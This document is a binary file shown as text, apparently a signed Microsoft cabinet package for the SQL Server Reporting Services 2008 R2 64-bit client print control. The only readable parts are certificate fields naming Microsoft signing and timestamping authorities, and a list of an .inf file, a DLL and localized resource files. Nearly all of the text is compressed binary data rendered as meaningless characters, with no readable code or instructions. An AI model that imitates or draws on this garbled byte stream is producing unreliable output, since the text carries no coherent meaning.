(0a,3':_{BԆꎿ*lbre/"M9HkIkIkIkIkIkIkIkIkm6=U6W'ToKARVvRL\\T\4QVۥ6z?`s3Rf؛PcJN܎z/{#WKKl)!)%2=i^&f2V%ݠ-NWi㗽.;e2^^ܬ?h{ZJK=e%}\i;J?;о-
&f/i9W.5?Rdǧ^ziQUg8L^zX^glv),vHL|+|p|mšma&vfcO[jJէz[_]]Vؖ*OL={_;^+ 2Rմ(d;|9%*Nm[<G333;wPlr\KUƒyKZ,/r˱e,*}Mգn+U1/]"yy3ugQKO]"ƱIbQ׿}_澏HT5km-/عoA]j:J7Z,}p_y+wkbZ*`ONKqG#	<UDߒp<[By"^%lELS
Sˆ,odj	0.
'r
$Fh@ӕNaw'>1q-A.M[@TZ~7OnE ob~0`}K(CG |6p@!	!j2U_e,ͳƇgbJgExwX)l@C,Q-r%x>EmJC
qkǾT̀lc]+E~@=
G_v%tKJ\:(p.†4zFl1zpBMa:224x&*LчӻJQEEɔ 6*T4Sg)N,+6p?$ROZvܱ@>oPH"a=)8#9ڝ2w8BVZiUCR/@"B+|k\*iUTu5"w0BC{'#;bbo'5#uX	nX
lYǛ 7t8' :AEIePKx{"Zt#U?mCK	XǏTWD+n$)RleiB5mڴqKD$!*Km"MQuJl2
fxxw9}?ɡ#Y%nP=xnE))~{ס-L.EaQ	rDM	3?Ŷco$_I$_I$_I$_I$_I$_I$_I$_I$_I?6_)}Y=#r_~_+h6M7;_d5ݏ*LtmUR8>euY$$$-ό}kj5Z`:DeRg.^)3VEoƛ-jS)IK%re.1ئ<-}'p襵~=[kSf֙~hܤ?,ڳٻ)lTVKt.5̹tnSs&mK)̔K?>+l`1,yoۗvάgG;;l:=D_n'|ejʠKtuBql;ڔtZ7wR5vݵꛜ^R
Wj4M@+níPx04|	3=:
6-On9g틃+Ʋ33_nhMkvHzkuGeh6Ru{w*Y$yѣr"+E^SZXEUi)WE<1u.31Ӡ6;ˌ
7eUIhP~'h/&k|񕑺_WeRW*+bJE1|"_yRL+!*HGQwW`W8
N2~,@nss
g!%]=q,=0:8:¥nBjxi`;{xT	M:xh!j96 %pQF8j+Ebvx7o)b5mwR{\.,~={mp!R[0j#uXE|i/
BG`:HtjEABS^kL$E7;A<=	IϜ 	p(=Zq$,;C΍nJ1ljXu7RX}``~ֲtl$}hB^||2k\'n<SL5SSm̷#e|9X`9EcdWb4^rg!y~rW>
Nf^hCn	D5?+a,p7v8(ÜKb}Jp!q@4p`鵛/;`;qI5/hLB|)h'9[AN |Yn8g%n|u/_c#G|/"ύ>Ń&fHr19sB?[iw㭌	*`X:f:a
ar>|@N9Go279$ FGʺzߧ)Bp/܍vt'5|$XKy	Z;MAq҇dR&F-ԞpcÝv=vHHHHHHHHH~lmW
U.
ݓTUfճlrؖkҫ\Nӿ}5O͞\~ݰ
R"ױ꿈Y~JlByƖkʤliZUa`x~h/ednȼytΎmlzo?鱧s}O{oxlu(˓ddGiƀ39=aǥ_{r)?{_Rᐱmeirֲ	3ʎ!5cʺ#{n'ks˽BO?
_e<\Jחx_6MNRUՍѝU^S#7&v_;PJS=2fsmt_i\0uqӆ޹d؁_eu2w;Xɧ_\V]Mq$Ef#=2/n[kOgzu*/tݫn֬gabzd>>9w>mܢ-a[wDkOmI}M5*aڌ_w)σӨ";V5!I_27Ƙ/Jw[բֱjWЇ!KU]嫔UJb*%1|J)pMSHꔯRFM-y54RJ4vFMP=͢LMiʠŇvEIE'ΕddO*tZFWDl?T+D3n&#}>>XKjmQJ<=Mϱ

.79Osj@g%^{ižPcj-<Ɗ,p2i6<aV$	(Zŋb#4\	P5P
H ,!9*%6,J7SycZK`#ZStKN9yEKCHRO	pәHԶ#R|3@YQlˊ\z
pWfUgfufLAVx*,*E4JDF>
W梷l%
SXԻ2iH[/4AF7G:㦤Q/8vjX(ؿ<jJ,_7M$M!y8k%LJJ⭕07HVd"3
E stV;q2N¤zӬԥ<V3X-`WePv/rB<*
+ٸQ}f1sLVBs}1yw&0<)+MUf⌳
ZԃC|W|W|W|W|W|W|W|W|W|UȋaWԣF<Y{Uw̠]_
Uؔ_紊Az)>%5>Ø1Cw5zVͽ>0"|n!?GY-y
vPWgq3?{gߐwO{ufKIv^1~U֜Y~v,Hf؍^w{%FgGAI>*:Tn5ww@ۚ3eʃj؏8ɸm4bRVozUZ(|#Qj2rk\=;Yny$[M	2nJJG\Xcœ2FwhiLs_ݿ$߼0%$3=>O4I*u1/F\🝛_
K'q9<*Jߦz_פǟRcզ<%HoOnW|?"Vlh/?kvLI`oGYŀg_6Dt>z
JwLfƑ^k@a…ˤ[A}KR%_WU)]嫨b**᫨||	KϗyT>_tI_:ķM:"C!]d훣	:S{(՘c`q=ǘ%_ŧ	Xg/C4BE>*f3Qid	p%2mg8e"Lt4>b5B|WL&kq&Nn⽢jIk(ږ{#`LNP5Pmr_3-z2=	E
bdX?rPE;AtGONлQ.L¾{ʧ)aU%EYmE+Xfa;p.SdžsŨΟܲdx>`	
z
79&I/8q૨OARJIELCd,|؉
bguuȃB[q*Ʀ1_UG;|̼i=I0_ኜ<:7ʧCd'
jrREAUN)d4Ir6t=XPӇ¸ʩ#q-tRE:y{It*.C扟	桍ͰMI3ĉR}u '`CXAG[ܚs(Jb▣irJ{WbS7a0"|XxxbQ/1k^>[cCp5}p#?qAl~d|
o:[}[qVk7v:avſA9%e%\^R8h|'*(X^9O6y_qT馶|\S9Rj+I+I+I+:_K\sICKy<UNd	#MHQ%v%׵fg܉2ReB-JFTҾMZ)4ZJ0Ҧ<܍̯9ys<=}·+I+I+IcJcW+MhT1TS{SW%KӕNods6h+wm_;RDEf<Cnz7}njѿ_~yu9UbmHʰFn_fIMU#s
+XF~Dݴ^vq =MC]=Abm9~yoLk
sTLմmt^vlFdlM|Ck)|'>kmUx:9I߻m¹I~:d[n7Wj5oHۋ/uHA%da3~
G{ZgjCF0MDdɪhg>0kq2]W4RHnzHx͜ѡ\;zUZmohD}=ޙcOYkaE]lNSmʒֻ)zi4bDF
!?>S_lP+ѵ}23m<SG{Z.)6u^ʷժil6{TQd;̮L	K94Z<
(Yc?WhܠbR;ϝ^Д%*C<~S޶D~c;Cn-[uNE rg)ծ=ʕhE'
?FVd[ű)bs^$c3Z_.9tںrj*$j'.rsF.q#.\&Y[UU]UfK`ɭu5<A<rnޛ*yQa[y-	6˚].V}Y^h/=?4W>c>P5ۡWzKvX[?]?^UBbYs|:4[#p/c#/W<Uk-7*&mU6Ҿ^fؽ0P
yz-btѢOF%$UȬY"hX"b'.Yܕ߱StK,5Xh۰+~($,2#(yu3{Ț_S+80XtGץÛл{-إ5?Oi8y=kGw^SǫK J|y9+_____W@E+b>SWB|TWj"
!jT#
FmQVX	:`4+a+kQ]W/#(눵6ĎkzW,+QwҰ3p;7Ǝd(Iggcu@԰2b2Ba?CJp`lg]yluT͓s2(9֘-tbLC?OCbTh?e<ZwDA]vO@\{dbhJW梋sĎ=N1j`-CT8.>b(m>8*ϸ£H*Px79Aa=2P7$2fR~@qBj8l(p:awk-صwR?Ї8ޖb=Zհsw<BlX|z7"JRaDXa^9
Nݽf̍+yh=kKf>o[\ ՠuD<n8E>8:i||!\	0_to![X(v]	86<,=+IdDD6g]QQl*`kœu3	͐4L尡|;JR	^;J0ScEF`gl ܓ|UV|
Dv>^̙3`,?۩jJQ-
is}ZcmDqحՉq步:+6cUA
HOAK`Eu 3^	F*L\:[ԁ?:3߭fܜgyZ-_+odC&򱡦
=l+|wq+E,+̟xDp
+"X5&0#ohZÿl'PU2#
on^T[/*qh1b3w.'\c$1>ӯ-Z/#\{"0{WxVhGQ%K	,W.q`Maߠ2W|%W|%W|%W|%W|%W|%W|%W|%W|WjUl0b;%u-lye*+C
ڨ1"Jkt{>zP5ݦQ͸~2#33n|3X&G&^33T=+=:fG-vTqO{+
7\/=k$}kf7-z]zMۭO]Qض3N#y9ߴ)e.L+(b~cx_9թˋ'e=L0ؘ;~!M]O1bͲWsZb-u.
ֲrL?6k+

{AGy<Q>5<#a#}r8]74d~yɡqUa sR+ɛr[ʂ
\2͊6g
˪_FFte]Qι2@uX١Ky.b7I.K%l[w\ Yւ^73+$87s
zm4]~ٮpnVhg>jon.k+n=--hҕ9jngSKj}/Y,)=P˩Έ󘭛/R<;"I?WJJpԷR/sJu>^MA|rOQANea,\r[TKNqdŰ|D)MLzTj|\o(EEYLGB#YoݕD)9!p+ֳ :5U4V;dwIq>7;R^x/r!9:Nuq34Ɠ;*H3f\>GUqMX?8bCW/>8y(r3YآrޓL%,3:i16.P?]l.w}7EHh'+4i#OhB{zRLZ/VZWfER/AZQ$z|e$6:jGB|!j˯{`dpq~8F'㣨ˀVnpdA\IgFj#r9:Л\q2_#(2Coaq#LN4]\I8oAE\|nJ7Osy+ͫ_i^-!CSnxz~z^7Dx;:oԹmUB
|r|~1tQT$QʗGt?-?šqN,>L._arOּu	b;E
ggwؾƲ&㏙g[WiZIkHkHkHkHkHkHԇ%aI}XRԇa;߮Yp$cV`N1]ڞI:w^[`FGs9)rqn$ww(V>C핞eOX]{CLP
Ύpn4l.;:-G~gxf\블.~Zis~0yӭֱњ,DB᚝rטbxwmB.ry
/ֽfVx.^G|CL!
4gV_D<Hjb'h,ZN)oʬ,87b4`=/׉&
;i>ўBM<}jy^k
-]&87|5~$oi>=.[#U&9쩔
^r#
5ϖ<u:"lA%a.s`W51%ˌ݉WlS~Նe_̈
}޷Rtuǻ6g8Էޞ/rg뫆v[Nmt߼hժǞϊu*&tƂgu͠ngWLS:oWUeVSAGN&8|POk/3_#%#mk@|/^"0ʩbxJWRA/Ӂs1'P#䨾ߚD{jػZlOX{EGaET1\]*~e(Bϔ;?KvR#!TÚ@Fut:W*7)y9k6Ǩ>iϋpb>ھJAC\C֛-,!+ۭo쇯TQ=c#ZxPK$	}g|޸^k=W'Ud#,$|]}SsBNF	uw[ߏC2k,F!]S\s:iӲ lѻ6`ڴ6mYČPTY6mw7`ól=1lĞןթs\Ph/Щ@!ЦJaQJ)kCr|}׫>J^-͟yj EY0_DПNӫ&-&Z38<#&{тݣs	y:s1=k;8&а
SC3<;e2wʦ;ewl/Gd_TlYbԱd:Pv!2H!Ps^"k?LJ|9ڵ__}0{Ojy=$J$J$J$J$J$J$J$J _?X:eCK]_9Wz28:_,>~4{]W79?'PS`?B{f-HKĬoMm.U^G;>}kΪ]WD
VϚ]	]>l٠ӿBLf;tVdN(\}h/f
\qeSuSQ{O)Vm2yvCTU
VTq3FSx'xү"Mץ6>qma}Ϻ,}M!To*Vo~o{?%N,|Us}ep%kaǘ˘Wv~=81^m;cG({G/
޴ˆy]f}ys+i3:?Q`Yy<_IVPsp>HP:r.n̛1ջ͖&w:tb'OV7{-\*v'UQWnu_JPj{s,C^heiUͣm]+7ḫzOf\^qvz.Ǧ&5^r_ts[Y\t0r	*H
c0_10	+0a
+7S0Q0,
+7<<<Obsolete>>>0!0	+`_1(QCB?10`0L
.P\0	+0p1+0)U"Copyright (c) 1997 Microsoft Corp.10UMicrosoft Corporation1!0UMicrosoft Root Authority0
070822223102Z
120825070000Z0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0"0
	*H
0
y}]E941%5IwEqFԌkLRbMIl/$>e#HuEP%+
#A$bEJͳ/"J-|o;99ݽ)f;-2'Hlc\򸔣8P'N0==l9.4.
}bxfs
 Oc,2EJ;PSfQyV>Pn5{$Rf=N+~3nGўJnS00U%0
+0U0[pir#Q~Mˡr0p1+0)U"Copyright (c) 1997 Microsoft Corp.10UMicrosoft Corporation1!0UMicrosoft Root Authority<<>c@0U00Uvp[NQD.Dc0U0	+{~J&μNtX't*uLxMi|CʇSŸVocDDȚ
)}s9=j8m҈#i	4|.)Bk(q8
]hͽAkf4|zB{
p֒O8|-=4b7j#\cZ9`U3;_,˫ 0 
*RA^0(ip΀Brv0z0b
a>0
	*H
0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0
091207224029Z
110307224029Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR10UMicrosoft Corporation0"0
	*H
0
0ErSkO#=Y@8s&S<B8auM\F^i[s)DdY/]nǫ9eħuꇗ&&v89&+ZT!򗍇)I,?}͖
qB5׸?ݎE
}K[vrw#}5]PKGmUTN؁B1U
SI0奈|^zZ7i2$00U%0
+0U8xs2_Uƙt0U0U#0vp[NQD.Dc0DU=0;09753http://crl.microsoft.com/pki/crl/products/CSPCA.crl0H+<0:08+0,http://www.microsoft.com/pki/certs/CSPCA.crt0
	*H
(
oBvCB$e4uq0r7:pQ q(ps{V4ZrN
{DOaun+Z
9`jT;1_,nM*v{Ƈֱ*rTn*ȞobKk=/zw9gj{cI&Bޕ"_s2r6)$ROfH&9iPNl.r!m$H@|t8JO00jO%EXzg0
	*H
0p1+0)U"Copyright (c) 1997 Microsoft Corp.10UMicrosoft Corporation1!0UMicrosoft Root Authority0
060916010447Z
190915070000Z0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Timestamping PCA0"0
	*H
0
7nBJqH>S,2ORȃ>3I1(dPKuǨծipfx'f趷Y")/@VvmdmJT޿ǀL7VhGv\/}%V[jc|<%M9wt]\؆7,u9	|vlnz>q_*Ob`2҃N+"\hE/Pl%ׅvs6ƕz`3[AXn,HoCj&k(0$0U%0
+0U0[pir#Q~Mˡr0p1+0)U"Copyright (c) 1997 Microsoft Corp.10UMicrosoft Corporation1!0UMicrosoft Root Authority<<>c@0	+70UoN?4K;AC0	+7
SubCA0U0U00
	*H
M1|PapEsT?	-QS9Vތ;ɷQ!oi~k"Flm|"Fӄ6~p]Eݎ*|ɮ2Շc6!v;s!شTeJ(&`;exHϭ:ObX099!dcC/{FeJtn̝(a|H!8Ŗ2@S=f7"̰wTQ:rD#00
a00
	*H
0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Timestamping PCA0
080725190115Z
130725191115Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:85D3-305C-5BCF1%0#UMicrosoft Time-Stamp Service0"0
	*H
0
-g%&bK08e46$h{b,FKQ4lZ;G=.5kE<fiJ',<w[pKWЯ-)ϞbrT;?Xlu7(=2Ƞd&qS'vIq2xlO"ebMF/#p2+@,l2}~/2fEU-gg)Z#00UiYhNzݛ.0U#0oN?4K;AC0DU=0;09753http://crl.microsoft.com/pki/crl/products/tspca.crl0H+<0:08+0,http://www.microsoft.com/pki/certs/tspca.crt0U%0
+0U0
	*H

?w_<5V/?qՆ|w|
EHi,>gbT'9هN`G#{'@
15ӋxaŵA>6X':ڽ]L<bf(21	"hFLs")"V4(JbG
X;k	iH|U?_8C?/Os	=^7daM=p[ԣ1d֖z?*[FS	<?ỶSa1000y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA
a>0	+0	*H
	1
+70
+710
+70#	*H
	1at_jubCMɆ|0~
+71p0nLJSQL Server Reporting Services 2008 R2http://www.microsoft.com/sql0
	*H
c	id*
erHR8pz0i'Oa9е+j՛HtyV&elwX(@gzyp%m@R\%E&m[_9*f I^a)oXz⋞`Iz(HPʜJX+bٓ}3Chg`Oo!Wo܈{+o_lbatRPfuLӡ0	*H
	1000y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Timestamping PCA
a00+]0	*H
	1	*H
0	*H
	1
101031042736Z0#	*H
	1R1m)o"ܲem0
	*H
B}v]v(4%>+O|]z,?Dyy]s&6b&W t5Pb+Ao	hP۱Q<g"&q0zpĖA)כ
RU+-ݿ,'"&Rﭷ`}
ly&,Jպn[[ԫ tqfK|L-H~pfewtz>:4oάڷ-zӥəCM]GFut&(WWMSCF'D
'xR,^=֫ RSClientPrint-ia64.inf`^=ursclientprint64.dll`#h^=q rsclientprint64_1028.rll`)^=q rsclientprint64_1031.rll`'(/^=q rsclientprint64_1033.rll`+V^=q rsclientprint64_1036.rll`)^=r rsclientprint64_1040.rll`%H^=r rsclientprint64_1041.rll`%^=r rsclientprint64_1042.rll`)^="r rsclientprint64_1046.rll`)h^=)r rsclientprint64_1049.rll`#H^=5r rsclientprint64_2052.rll`)(l^=Ar rsclientprint64_3082.rll#K8CKܜty	m\+a0kY~,Yl/lc,dY+^coo8Ħ@ z0H 
iH&MP4iziӮIOIGGwy3ΎKFس!Vꪹʫ76v4eVF\Q\Zٜ	ke2=]ٶyʆZ*Yj>[gu"E:SՙZBuS*P'RS=SVNP)Y*PgjjfbqH8[3=kۺ5FN=|m3=\}x^50MyhpW1jDS{w[sSg̘5}ZI왳Kʧ̚*/)]5sƔ)3jT
ֶLvQ&o[2ݪV\*RYR̘vi"2L3-zyO>Ѳ{3)bՕl6;::{5+jj.֫gQ#2>s߇[_|sw.{ĻnYzrwlhkZ։sMQG
~o*]Ef.ڡ>ۚ9 ~ǤHBtOS%AkͻG^SLQuѲ/ Cqi"i{⎑K{2{<(Ò6)jni('RR圻VU<I}%ǏbWڝg
۠+9.]ES!v~id&|)x%eMa>@f;a_E}W'nalˮMzEivпl\vF廾/#V}oP~+))t[+s̽NV?_Tu7[\\2[Z[_X{v\WilժmQ?etIFM(SZG6IdU9Er_,sd9R-KATC+s~=t-ʢiE׮J㼹T+MѾ,U֨}ҬzՆ:1\vpX}į1¼[M;@o{۾_>aoY>{Gcwf\35Aͱ~w5jf`e~l{'.߾N#x>#i#2E۰eoErϢhs[샭Iv$˲$;`l_#?z
h	.܄x`,X?`;`XZ{_>,>
z؃N2Xaا&ρ'ݏ"".2\l(~k<ڰe̰mIx.BpOAs$h<@ry.כc}遣c5jsyj}RaYkU4(ZV+
k6WުUz}JW)`[T@ZA[<Q5bO zZy^pތ?,˱.x+_|}rZ4Eϙ3DLJJ\$,Jd*>KkFTte1E6>ؾ{`FԿ	zp/`]`[/>[_N/߆`l	z}]D{Ae]X}\T\x, >ڎl?
Wl?x`qSHHp/`s';O߀$Tǣ]_fxs:2٠JJC\>?zE?peW>ohχЛqU<\22md^?{ڢRU+
=X~/d}px>7W''֐W&6)<mM:dlLr@><:dwNF>@@&ٞnﶤ+#_=:%{`gm/,'";`}p<g?val>8˩.;
>`,D>:m?>x:Q'R!\?W9|؞|:>8˧}=z=	zuO`LF{%R؃]XEmvXRj&Owv׊𝢓LA{ew*#?G4t2`]X*,A@J؃]X栿>8K-'Hd;qA`Yv]غ=^k2ϋQn-NrV>Xxm֟^x`{y~|C?>`h7XVB.Iɪ𾋥);fI*;1j3Z>z.)U%%%e)ɤ!M;:ѼXȉ]v=$Qr#̟h3<6l-U7b?=/,oV^Ya!V|UVe5\[znI4Rf]k&]F٤UBnǜP|BWL?QLF۠:ݼZ]gq{3jY:_c1;ϧR	[UֶG=FeO,739#r]:nUG]}GNmRv1;F8Vd*4dbqorq2_[j/ÝYNTZ-_,ZoZ=ա}Ꟗ֡}Zٷ1L?g~<x6G]
4&Q)\b&#h4b|	r^ўbpY_hn*sܻ34o9n-1l/Y%c/7]H4[3׉2kgdi.SgŦ22e2wSq;
[Sqg971~kH]FF,M.ش7ce&~vrȔ6tl1g7Ӱ320??ęe32medH.#]#{320H0~ĉ%^:?إL>p^	q>~JoE>`\Z!,f<Zaje柠>ؾބ
_@$/4#ŦBU<U6Q.P(2'5QkʋQ_JZp{9^%G>+X
yL|
7G_[jU߲Wٟޤ8Ƨ}}s?}_c=]pj%ӥ/p%l`]=,w"?X!?X`l݅,w#,`܇{`~{`6A{`m,>XB|vz{`؃>8ˣX{}Wc8?v8	Ob}>}
.,]X`=mv`mK$8w ϡ=`&%G{`y{``[m}/"hX^,&FߗNw]ـ.kh=uD~߃
`ЃG~?x`{>8Ol]S߂=,;`?C`sO_ >X%>=8[#}p_!oGLJ(IvOɼs}g1.5^CoghԷO|Sf0<<)i8^NNMޤTV93>ؚ|2KEp~|}
ؓ"/X0^ZدClu ^'w?Fzڿ
ޕ*V@v#mu>Aۑ=2d3]=,6޶&n:nGI7/^u]mOʵ}\=X,7`%߄>8ˍl>86locUj+
ww̸e܁݉lC>`l=ߋGa=Oo,Tg5ߑQz^PTFY7ysNē0ð[ۓH׫5szpT>lopvjHƯPEjbYr߽\aIgm~,_Y8BJZ)3%eagk490?܉5.w؞$_5ެgsnIzVd>7ԏJ*|+ߦY9<Wqѣt>&t<pk41m}m{wl+X~GבaQqk]g
U~lsg'wF?v𻙼<}M?8߽TY~*MkrR	sȚI=io'29gj{࡚59ƹzx Չ6t
|=w^>Dp~?~^i}gqZ-jd(֪>=!soni{ςQ'{?{/4Z1+}P+
FC!<]V.׫|v
:hwo<JsWP9p>7Y39wJ7|/e(^R:u.ü+DoRU6WmWq]6a[V?ŝKoEGRa$@i HFĊDq:&cx	 "So§`{7=k{b|U]]U]]]+<%<Uw]{ &?_&ģ1|FkM-6¿Ǯtn&вxv͢3i>=},䥻3j8%FGܝ&eaT(^yW#|̭!Vi];sʟn%]ֳԿCtʕ2~yMަ,_;;8nGw=
곑y&r+~&e6ș65?Η٧BbM(t-VjlϿ3q8JV21#:c3x-}Qmy%<^>(-%A<[rbSk3Y~zG9$nsZus썖gґyqow(ֶy5Oh+TWzR4d1~㿠\\ӿ+Qvb<zl
9KPqƫ?v08pt7g>|N3!pt/8lόȘlom:b.v%1xK۫r4xNm9*vX<╜оO%\'DNZ3/h20=oNw貲ӖG匶g'5~u2w
n8V?_'4zb_#}AOy|%o=[vZ)mbS2B'ߏ$B׹JcyҦmCA$^^
g왾኿㗻)՘rJիZ㎎xXɚr4w*R8]W*
^WCUDžONN)1v0\j7U"ʙ}UCR4sU]<G`Q|붂/>.޷$Nzκr?ZvL1]#[-yír_b?U>k"}.*m߬Jϓ~z"b9϶%sNjl+T\j^Us3(vq<ҾeElDVň7~
7{Y)pʁQ_D9p
{㿆70ޛh|
(P\킓%dP/dGN
S8ψ[X%tMG&%{F`
Ź!z߇~>p)g_K<dvэa|:}+	1ʣQX
ʁ{zZH+ij~;g=ϳݺ}Wļ_TWXͤKݚ'Z)kI%r>QΗ
m.=w5r!p3N3!C9pxǿ?6ˇ(G1es8+\cаf?G~8\AͿ?8΀Gw+CK	U+BA9 $L2$@0!383! j'Хeɮ녀Y(<vqE	%*fx]=i>_zO?hmoijI\=-G_5}ωknˣՎ\4g>ʟ`>9؃gjNRw3A/Ovj<^fv>]c#ROf籿7mY33%#3'OTҜV-io?I>uAfϓjsxMacAmC7ƶӨ%dtQ7??x+5yX3u&gECKyga'ߘ|Kaգ0.Isxot[$*Q_a;;y/"$o?W`83kY`ij+,A^K_-?z6ոƤXב|&zº)ݟL5',d1e0:#䫉5yOwzXcbqo~6<8cxQrtxiXvӜ60ۆfWk-DGgzOd͉'gnt^xx/.n#ҷ~O{B6cgSW7kƢ1"
ibӟ	_M_?1#ћ}pN9 9j?ӫy7NSN	$&u㫫N\tk'_NI<jo?LDu+&\%,lgMn/ǁ<YnÉW;~Y݂S'쩸`8A\qnǎyw7K
5bC諓{^XiL7w\0˷
V0rB,p
T24{Η**(\{`\-|m޼qͷs9
"Y7M=kowLw_xנ^=*}TW~b=`
ף>7yl)Q3n9.V"ٻ߇nB{+`܂+`܊`("mw;݁1](/
_dX8W݉~z/~}~W2"?WkWS
"ǐ߂>Oo#!W~ǰW|ߓh%>8F<B|ono<`Sw(G9#'胫ςC}NySkg^D|t9jZLoU^7Ȼ~=.;M_=؋YiŞ+bIa=q#W7쁫s>4oLsewn7^Npk^tKrxƒׂ!r0Gޡh58F{xlifks,:6vv/_dmw45#E>ǧyz=`Y^:	"
|NB9I	xP_r[V">8
|:x
E{V0~7{џm|/@|&{1⁽_4L]6]ݶ-[(@wm\@e-}-?eyJsQrЂKp-'a]tZ܂1hk0Ҷ[_2k.jY7Hx_\*YvPkE1$^zHgIm絊FwOWwe1d[ q`a\dc-4\C+F
SK1X,ƭurEZ7xcN
kHdB!Y2ZVdX4[4Sk$e:]κAµBf4^
ݴaᔴ5[jT%mk'mǝ7;T2Oxmaks#XNe+
ֵRcbo3,D&wO
K堅-kF2O4VԃҠQ!ܰ	&;yU}nF
8لM/S^
`䅭P6a[`D&mCO4W&~IYw`rYhD0ñFe섍M=߶jfÖKPd#ԏס`SF=MxE1XC8ψjqI[STr|wqf~Ҵ3cW><G0
Ώ`\}RD9X1,JF.m	ne7xxW!Q~
ŵ(WC~?ލܟz
T	y~C(;aVD=ߏ~x_n~?:s{?=+/]K06¥fu4{`q(9:Up4`U_c=}]qoܳic@{5>B> dϵ+"o\ʕmlvlv۫r{Eƭmf^sϼ}[:Ïx<cıN\pNZܺdi˖ri+VZ}3<+~vs֭:wCwMo|ޖ/xӅ][Um0ӇhhZKl-m>~eo~_^Uo`31џoTp\p¿1aVm3.2xXlC|2f3,*(+P+Q?pj`絈#'ݕ]@|nɩmKpD}F=hO>ɻP_(+`<b(]ky߶4O=1}'iOvtZ_\avX
\nz!/Q?@{$◰S/XyX
>8k+A|3i^מl1̜O͎no	1K(=Zr)=ނ,v~=1YKhQVT]]UVVs-{AyBGAsmRMENJ/H7Y0+%N7)RݐW˚5բfcz4JY
2o8V`<-5vCzM7b"up‰k7fQS>,^M	K۴{9u8.XdSMSAU4h1bS5_+l-ۦa	|&ǔ
oڴvtEקvpMWJ\:Mr4fN6ݓ>jI'+/Zo=(GBRln-^7d;LȺlk](846l>JR%-,n[X_O/SJJCʊ%)UJfϟ/zIwK^/Z)3Rrem6)KPKyB#<\ä/eI9W=T|QJ{)wK	)}) w|L]R>$R)=EG:)=)RVTH)M>9)RV앲MJ!gd;k#H^=)RVRH{ԗ*eIʌ-RK*"*eFJ!e1Xy}de$}4w4`U`}*F|`iA>*+XW\W>X|io6*|94ͻC6)WC.1+FTBOߔxR~57|_\9GѰ`@,N@|i);Sj.B~I
}pu	/Eɰ_}z*_Uh8k3Կ|6;L`2[kp9R!m-iV嘊!_6b~ac|^(%p">?=.Eh_r1
#|?xfقzu0\{Mp"eM<?2XՂ/Ze'Za-u	e*`WM=8i祮u$\PCኜH\[puA*?/t_آo⸎␥`֗(%rUTrS6ƂjۍG [p(A=u=;S'kS5	0a~ (./GndyF/wB?ޛ1+Qk
$>㫰wgVmO}n
V֯C}qxS@gI?KWF|QH#͙=Ӭx@AG~#C`?`qhUpQ?d
=(sfٹWwj=WYֶwqn4l/mܹ|+ǯ$s?OCLO^#53|&_;l#w`wCG|p\+]>ڃ{a\(ߚ*x'Q_w	g}psUOZ㭉Ϭ~W$>gيMtzj|f34Fg~IRlUNLۨ7J\FW\y\{ۮ;nw߼o}7[n@~>~]O}Ͻ?s?g?/x|K_?_=o<o>طO_>~ݿ}wsϿK/g/|A|w}Ov{J\_\
{v\߾Nq}s3Wn4_X\t.-=1==Kskl4QXp>hߙܲ<0\os 67X`q'!(=pQ̗k
{tYEE	W;9-'N5-Z%XVgr(/u۵Z|Xkv0|Hok/6ՑxBݖDBiRHm;>_c6w{IHՀԏJmšĿ i*UB*yP{7ol~ٹ^[
zXIoȷ"'߬nNBo)18+qrS>'7(؍n-'5wa݌-e/
{J2Bdq6:^R9'r=<>wcwzӯqfד-gz^+V&'ZR=O$SQ[=#/9
"w|EXNz?oK{ظq:j-?VX	oGp >\qTA4W[^ly~Y܍;7%]pQx&8ܓ_=)P+aB:Nq>RǓGGghj?2J^fa%oîucʉr]ѹu6W+J֯s#.Ho&P7ٌ|?ҍx|ys]빬mgt7yl̟4|EuUw4ߵ
Ka/^kl_vl\%?M~:1NMzq:淞AZg/Zzk}Ds]Z׮Z?W+cu?mkݯiXGFs:߱fdY_5Om׸0k茮WϱY?^_1ۦs|4~,ZO|8~k?>I碵9+Gt3G|eOhֺyX?h}t+L9~mԿ}>&>>+=7.|R?_63G&0z']/Ng7q7ܳ}ht#6]9og}kx?tϹ	p`?Dx_x!k'D=
:@Ә/QW8ޯ1I+
v~y8#Yy`8ދK8˨WiobB?ΣԃWܻ8,.p!_?6~T=^yEn8敦@#r'p"ĕ1=OxgjxƬށ8
~ԇpvwP;gۅ~zwxB=XA?p1ԋ0n/"	q8w~g2B<ott̙3}eA.~{Q)vtnj(;˳[.K)W-Vu3uy
}3',8{x8gO*|bkx}_˾zֲ/qyy6;YB!vs']0
Cb/ⰸ%n;ܙ<֍7?~?w>~ZťW}ȇ%܆a=Ϗaq/ev`<,G3zcQ !aqKXb,!a	+XKXb,
ȇ%`V8|X
3ȇ%`1|X
"V8|X
?E>,aKXb,~|X
##ȇ%`(a	+X,ȇe_|,Jȇ%`1|X
eVKXa	+XTKX|X
>a	+XG>,aVKX|X
!a	+XԑKX|X
!_[+CKy U}9Pp4\LOtIRh܄dhR4iBq*Enq6\^*}w{<9[^{O惩 `>Z	`S|0
4VC>Ti0LB>Ti0L|0
惩|04C>`>`3L|0
惩p`>|0
惩M|0	`SQ|0
`S!L`*><GPٔK|!1_'V<5DRﺻ⯁
G*fȉxQ<p>x? 08|s~{u*~`U?Xk48G1-Xp8
N'~~~~	)9
Y[B@R>RWŝ^@{+
-

S0X`18X,	Ke`9<XV|w_`	`ݥv$c-xqa-,
H
^Ϭ+uK9"֖;!
YhyeS,u810Ka
9r'}_{Uup/`ċ`IX,ˁ
`E
	XV`Mxx X<g(rSuſoa?K6vb=vh
9xG2o&Vn|*fwo2<<<
<<fy^ӳۖKHl?f2oocjrjf
Ifg?e*E݆ʶ>אDUl/ƽ	uLJ6?&S(<0:Zz0EH*/M4;I4uF{Wkv|B@tOOUi_Q}cvPhf<oʨFk2ş?]V9zifs1&i.z=X*[V`tC5/R0[H5ʂmBh|?7mnt=δ[3.2
^nhvPKJ6RO͎h}i!PD:+YG_٫fFA[{K`,UX/ˀuCC
ݭV0+U`^5z	l6`J`.ěMN`+{"d&ts
<''VEY`1pc
